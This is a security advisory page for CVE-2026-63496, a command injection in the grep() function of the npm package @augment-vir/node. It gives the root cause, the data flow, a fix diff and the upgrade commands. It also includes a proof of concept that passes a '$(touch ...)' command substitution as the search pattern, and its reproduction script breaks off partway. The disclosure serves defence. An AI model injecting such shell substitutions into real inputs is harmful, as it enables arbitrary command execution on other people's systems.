CVE-2026-63496: augment-virShell allows Command Injection in `grep()` via Unsanitized `searchPattern`
High CVSS 7.8
- OSV id
- GHSA-xvcc-vqjv-phqh
- Also known as
- CVE-2026-63496
- Published
- Last modified
Affected packages
| Package | Affected versions | Fixed in |
|---|---|---|
| @augment-vir/node npm |
< 31.73.5 | 31.73.5 |
How to fix it
Upgrade @augment-vir/node to 31.73.5 or later.
npm install @augment-vir/node@31.73.5
# if it is an indirect dependency: npm update @augment-vir/node (or npm audit fix)
- If it is an indirect dependency, upgrade the package that depends on it, or force the version with "overrides" (npm), "resolutions" (Yarn) or "pnpm.overrides" (pnpm) in package.json.
- Check the changelog for breaking changes (especially across major versions), update the lockfile with the package manager, and run your tests.
Not sure whether your project uses an affected version? Check your lockfile below for free.
Details
Shell Command Injection in grep() via Unsanitized searchPattern
Summary
The grep() function exported by @augment-vir/node inserts caller-controlled search patterns directly into a double-quoted shell command string without sanitization (grep.ts:310). When the constructed command is passed to spawn() with shell: 'bash' (shell.ts:98-99), bash evaluates $() command substitution expressions embedded in the pattern, resulting in arbitrary OS command execution as the Node.js process user. Any downstream application that passes untrusted input to grep()'s pattern or patterns field is vulnerable to unauthenticated local (and potentially remote) code execution. CVSS Base Score: 7.8 (High).
Details
Root cause: packages/node/src/augments/fs/grep.ts:310 maps each search pattern into the shell fragment -e "${searchPattern}" with no sanitization:
// grep.ts:310
...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`),
The resulting full command string is forwarded to runShellCommand (grep.ts:320), which calls streamShellCommand (shell.ts:221-224), which ultimately calls:
// shell.ts:98-99
const childProcess = spawn(command, {
shell, // defaults to 'bash' (shell.ts:92)
Because shell is 'bash', bash interprets $() within the double-quoted pattern as a command substitution and executes it before grep ever runs.
Incomplete sanitization: An escape() helper exists at grep.ts:178-180 but only replaces " with \" and removes newlines. It is applied to excludePatterns, excludeDirs, and includeFiles (grep.ts:297-308) but not to searchPatterns. Even if it were applied, double-quote escaping does not prevent $() or backtick substitution inside bash double-quote contexts.
Data flow (source → sink):
| Step | Location | Description |
|---|---|---|
| 1 | packages/node/src/index.ts:3 |
export * from './augments/fs/grep.js' — exposes grep() as a public npm API |
| 2 | packages/node/src/augments/fs/grep.ts:223-226 |
grep() accepts caller-controlled grepSearchPattern and grepSearchLocation |
| 3 | packages/node/src/augments/fs/grep.ts:228 |
searchPatterns derived from grepSearchPattern.patterns || [grepSearchPattern.pattern] |
| 4 | packages/node/src/augments/fs/grep.ts:269-314 |
fullCommand built as a plain shell string |
| 5 | packages/node/src/augments/fs/grep.ts:310 |
Sink: searchPattern inserted as `-e "${searchPattern}"` — no escaping applied |
| 6 | packages/node/src/augments/fs/grep.ts:320 |
fullCommand passed to runShellCommand |
| 7 | packages/node/src/augments/terminal/shell.ts:221-224 |
Forwarded to streamShellCommand |
| 8 | packages/node/src/augments/terminal/shell.ts:98-99 |
spawn(command, { shell: 'bash' }) executes the constructed command string |
Suggested remediation:
--- a/packages/node/src/augments/fs/grep.ts
+++ b/packages/node/src/augments/fs/grep.ts
@@
-function escape(input: string) {
- return input.replaceAll('"', String.raw`\"`).replaceAll('\n', '');
+function shellQuote(input: string) {
+ return `'${input.replaceAll("'", String.raw`'\''`).replaceAll('\n', '')}'`;
}
@@
- ...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`),
+ ...searchPatterns.map((searchPattern) => `-e ${shellQuote(searchPattern)}`),
+ '--',
...searchParts,
Alternatively, replace the shell-string approach with spawn('grep', args, { shell: false }) to avoid shell interpretation entirely.
PoC
Prerequisites: Docker installed on the host. All steps run locally inside a container — no network exposure, no real credentials, no DoS.
Step 1 — Build the Docker image:
docker build -t augment-vir-vuln-001-poc \
vuln-001
Step 2 — Run the exploit container:
docker run --rm --name augment-vir-vuln-001-run augment-vir-vuln-001-poc
Core exploit (exploit.mjs inside the container):
import { grep } from '@augment-vir/node';
await grep(
{ pattern: '$(touch /tmp/augment-vir-poc-triggered)no-match' },
{ file: 'package.json' },
);
The $() shell substitution in the pattern causes bash to execute touch /tmp/augment-vir-poc-triggered before grep runs. The sentinel file is created even though the grep pattern itself matches nothing in package.json.
Expected output:
[*] Calling grep() with injected $() command substitution pattern...
[*] Pattern: $(touch /tmp/augment-vir-poc-triggered)no-match
=== VULNERABLE ===
[+] COMMAND INJECTION CONFIRMED: sentinel file exists at /tmp/augment-vir-poc-triggered
[+] The $() substitution in pattern was executed by bash via spawn({shell:"bash"})
Minimal reproduction without Docker:
```bash mkdir /tmp/av-grep-poc && cd /tmp/av-grep-poc npm init -y npm install @augment-vir/node@31.73.2
cat > poc.mjs <<'EOF' import { grep } from '@augment-vir/node'; await grep( {
References
- GHSA-xvcc-vqjv-phqh on OSV.dev
- Web: https://github.com/electrovir/augment-vir/security/advisories/GHSA-xvcc-vqjv-phqh
- Advisory: https://nvd.nist.gov/vuln/detail/CVE-2026-63496
- Web: https://github.com/electrovir/augment-vir/commit/9e1a3592903a56e500959be72276ede1708c3437
- Package: https://github.com/electrovir/augment-vir
- Web: https://github.com/electrovir/augment-vir/releases/tag/v31.73.5
Am I affected?
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About this data
Source: GitHub Advisory Database via OSV.dev (CC-BY 4.0). Severity comes from the advisory's own rating when it has one, else from its CVSS score.